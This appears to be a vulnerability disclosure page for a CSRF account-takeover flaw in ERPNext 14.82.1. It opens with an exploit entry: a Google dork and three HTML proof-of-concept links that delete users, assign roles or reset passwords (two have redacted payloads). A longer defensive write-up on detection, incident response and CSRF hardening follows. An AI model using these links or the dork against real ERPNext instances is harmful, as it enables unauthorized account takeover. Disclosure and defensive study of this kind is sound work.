ERPNext 14.82.1 - Account Takeover via Cross-Site Request Forgery (CSRF)

Exploit Author: Ahmed Thaiban Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-05-06
# Exploit Title: ERPNext 14.82.1 - Account Takeover via Cross-Site Request Forgery (CSRF)
# Google Dork: inurl:"/api/method/frappe"
# Date: 2025-04-29
# Exploit Author: Ahmed Thaiban (Thvt0ne)
# Vendor Homepage: https://erpnext.com
# Software Link: https://github.com/frappe/erpnext
# Version: <= 14.82.1, 14.74.3 (Tested)
# Tested on: Linux (Ubuntu 20.04), Chrome, Firefox.
# CVE : CVE-2025-28062
# Category: WebApps

# Description:
A Cross-Site Request Forgery (CSRF) vulnerability Lead to Account Takeover exists in ERPNext 14.82.1 and 14.74.3. This flaw allows an attacker to perform unauthorized state-changing operations on behalf of a logged-in administrator without their knowledge or consent.

Affected endpoints include:
- /api/method/frappe.desk.reportview.delete_items
- /api/method/frappe.desk.form.save.savedocs

Impact:
- Deletion of arbitrary users
- Unauthorized role assignment
- Account takeover via password change

The application fails to enforce CSRF tokens on administrative API requests, violating OWASP recommendations.

---

# PoC 1: Delete a User

<html>
  <body>
    <h2>Delete User</h2>
    <a href="http://target/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
      Click Here
    </a>
  </body>
</html>

---

# PoC 2: Assign Role

<html>
  <body>
    <h2>Assign Role to User</h2>
    <a href="http://target/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_JSON&action=Save">
      Add Role
    </a>
  </body>
</html>

---

# PoC 3: Reset Password

<html>
  <body>
    <h2>Reset User Password</h2>
    <a href="http://target/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_JSON&action=Save">
      Reset Password
    </a>
  </body>
</html>

---

# Mitigation:
- Enforce CSRF protection for all administrative endpoints
- Require POST methods for state changes
- Mark cookies as SameSite=Strict
- Implement re-authentication for critical user changes

---

# Disclosure Timeline:
- 2025-02-09: Vulnerability discovered
- 2025-02-10: Reported to Frappe (no response)
- 2025-04-29: Public disclosure via CVE + advisory

---

# Author Contact:
LinkedIn: https://linkedin.com/in/ahmedth
GitHub: https://github.com/Thvt0ne

# References:
- https://owasp.org/www-community/attacks/csrf


ERPNext 14.82.1 — Account Takeover via Cross‑Site Request Forgery (CVE‑2025‑28062)

Executive summary

In early 2025 a CSRF vulnerability affecting ERPNext (Frappe) versions up to and including 14.82.1 (and tested on 14.74.3) was disclosed (CVE‑2025‑28062). The flaw allowed state‑changing administrative API calls to be executed without verifying a valid CSRF token, enabling remote attackers to perform sensitive operations on behalf of a logged‑in administrator — including deletion of users, assignment of roles, and password changes that could lead to account takeover.

Item Details
CVE CVE‑2025‑28062
Affected software ERPNext / Frappe versions ≤ 14.82.1 (tested: 14.74.3)
Impact Administrative CSRF → user deletion, role assignment, password reset → potential account takeover
Disclosure Reported Feb 2025 — public disclosure Apr 2025

Technical overview: what went wrong

Cross‑Site Request Forgery (CSRF) attacks take advantage of a browser automatically sending credentials (cookies, session tokens) with requests. When a web application relies solely on those browser credentials and does not require a per‑request anti‑CSRF token (or similar verification), an attacker can craft a web page that causes a victim’s browser to issue authenticated requests to the target application.

Why administrative APIs are high‑value targets

  • Administrator sessions can authorize state changes that affect accounts, roles, and security settings.
  • CSRF against admin endpoints can be weaponized to create persistent footholds (create a user with admin rights), delete defenders, or take over accounts by changing credentials.
  • APIs that accept GET requests or lack CSRF verification are particularly dangerous because they are easier to trigger from malicious pages.

How this manifested in ERPNext

The root cause was inconsistent enforcement of CSRF protections on administrative API endpoints. Some endpoints that perform state changes were callable without validating a CSRF token and could be triggered via a victim’s authenticated browser.

Observed consequences included:

  • Deletion of arbitrary users or user records.
  • Assignment (or escalation) of roles to existing users.
  • Changing user passwords without re‑authentication, enabling account takeover.

Note: this article focuses on defensive analysis and mitigation; proof‑of‑concept (PoC) exploit code is not reproduced here.

Detecting exploitation and indicators of compromise

When investigating possible exploitation, prioritize the following telemetry sources:

  • Application logs — look for administrative actions (user deletion, role changes, password set) initiated from unusual origins or without an associated interactive admin session event.
  • Audit trails — many ERPNext deployments maintain change logs. Search for changes to User, Role, or System Settings objects outside normal maintenance windows.
  • Access logs — identify requests to administrative API endpoints from external referers, or requests with missing/absent CSRF tokens if your logs capture headers.
  • Session inventory — enumerate active sessions for administrator accounts; unusually many devices or sessions from new IPs are suspicious.
  • Authentication events — check for password resets or forced password changes tied to admin accounts.

Forensic checklist

  • Export and preserve application and webserver logs for the suspected timeframe.
  • Compare admin actions to authorized change requests and maintenance windows.
  • Collect session tokens and perform session‑to‑user mapping to identify compromised accounts.
  • Look for follow‑on activity (privileged API usage, data exfiltration, new admin users).

Immediate mitigation steps (short term)

  • Apply vendor patches if available — upgrade to the fixed ERPNext/Frappe release as soon as it is published by the vendor.
  • Temporarily restrict access to administrative interfaces from untrusted networks (VPN, IP allowlist, WAF rules blocking external access to /api/method/* administrative endpoints).
  • Require multi‑factor authentication (MFA) for all administrator accounts; revoke long‑lived sessions for admins and rotate administrator passwords.
  • Enable and monitor audit logging for changes to user accounts, roles, and security settings.
  • If exploitation is suspected, perform an incident response engagement as described below.

Definitive remediation and hardening (long term)

  • Enforce CSRF protection on all state‑changing endpoints. Require a server‑validated, per‑session CSRF token for POST/PUT/DELETE actions.
  • Require POST (or other non‑GET methods) for all state changes and reject side‑effects on GET.
  • Set cookies with SameSite=Strict (or SameSite=Lax where appropriate) to reduce CSRF exposure. Mark cookies HttpOnly and Secure.
  • Implement re‑authentication for critical user management actions (delete user, assign role, change password for another user).
  • Apply least privilege: minimize the number of users with administrative permissions and separate duties where possible.
  • Add anomaly detection rules: block or alert on admin API calls that originate from external referrers or that lack expected CSRF headers.
  • Keep ERPNext and all dependencies up to date and subscribe to vendor security advisories.

Example: defensive CSRF token validation (server side)

# Pseudocode for validating a CSRF token in a Python web handler
def validate_csrf(request):
    token_in_header = request.headers.get("X-CSRF-Token")
    token_in_session = session.get("csrf_token")
    # Reject if token missing, mismatched, or if method is unsafe and referrer is absent
    if request.method in ("POST", "PUT", "DELETE"):
        if not token_in_header or token_in_header != token_in_session:
            raise Forbidden("Missing or invalid CSRF token")
    # proceed with handler logic

Explanation: This pseudocode demonstrates a defensive pattern — generate and store a per‑session CSRF token on login, require the client include that token in a custom header (X‑CSRF‑Token) for any unsafe HTTP method, and compare the header value against the server‑stored token. Reject requests when tokens are missing or mismatched. The approach reduces reliance on referer checks and prevents simple CSRF triggers.

Example: including CSRF token from client-side JavaScript

// Client-side example to include CSRF token stored in a Cookie or embedded meta tag
const csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');

fetch('/api/secure/change-user', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken
  },
  credentials: 'include',
  body: JSON.stringify({ user: 'alice', action: 'update' })
})
.then(res => res.json())
.then(data => console.log('OK', data))
.catch(err => console.error('Request failed', err));

Explanation: The client reads a CSRF token (commonly embedded in a page meta tag during server rendering) and sends it in an HTTP header with the request. The server validates that header value against the per‑session token. Use credentials: 'include' only when the request must carry cookies. This pattern ensures state changes cannot be triggered by third‑party sites that lack access to the token.

Configuring SameSite cookies (example)

# Example Set-Cookie header for session cookie
Set-Cookie: sid=abcd1234; Path=/; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

Explanation: Setting SameSite=Strict prevents the browser from sending the cookie on cross‑site requests, mitigating many CSRF attack vectors. HttpOnly prevents JavaScript access to the cookie, and Secure ensures the cookie is only sent over TLS. Test compatibility with your integrations before enforcing Strict; some legitimate third‑party workflows require different settings.

Incident response playbook — recommended sequence

  • Contain: restrict admin interface access (IP allowlist, WAF rules) and disable public API endpoints until patched.
  • Eradicate: apply vendor patches; enforce CSRF validation and other hardening measures.
  • Recover: rotate admin passwords, revoke sessions and API keys; re‑enable services when secure.
  • Investigate: review logs for timeline of exploitation, list impacted accounts, and look for privilege escalation or data access.
  • Notify: comply with breach notification requirements and notify affected stakeholders and vendors as appropriate.
  • Post‑incident: perform a root cause analysis and strengthen controls (MFA, logging, monitoring, least privilege).

Detection rules and monitoring suggestions

  • Alert when an administrative endpoint is invoked with an absent or invalid CSRF token header.
  • Alert on sequences of user deletions or role assignments within a short timeframe.
  • Correlate admin changes with administrative login events — raise alerts when changes occur without a recent successful admin re‑authentication.
  • Use a WAF to block requests to sensitive endpoints that originate from external referrers or that are GET requests performing state changes.

Best practices summary

  • Treat all state‑changing operations as sensitive: require CSRF tokens and non‑GET HTTP methods.
  • Implement defense‑in‑depth: MFA, re‑authentication for critical operations, SameSite cookies, and strict session handling.
  • Monitor and audit admin activity; keep a tight inventory of privileged accounts.
  • Follow secure development life cycle (SDLC) steps: threat modeling, code reviews, and automated security tests to catch missing CSRF protections.

References

OWASP CSRF guidance: https://owasp.org/www-community/attacks/csrf

Vendor and source repository: ERPNext / Frappe (check official security advisories and release notes for patches and fixed versions).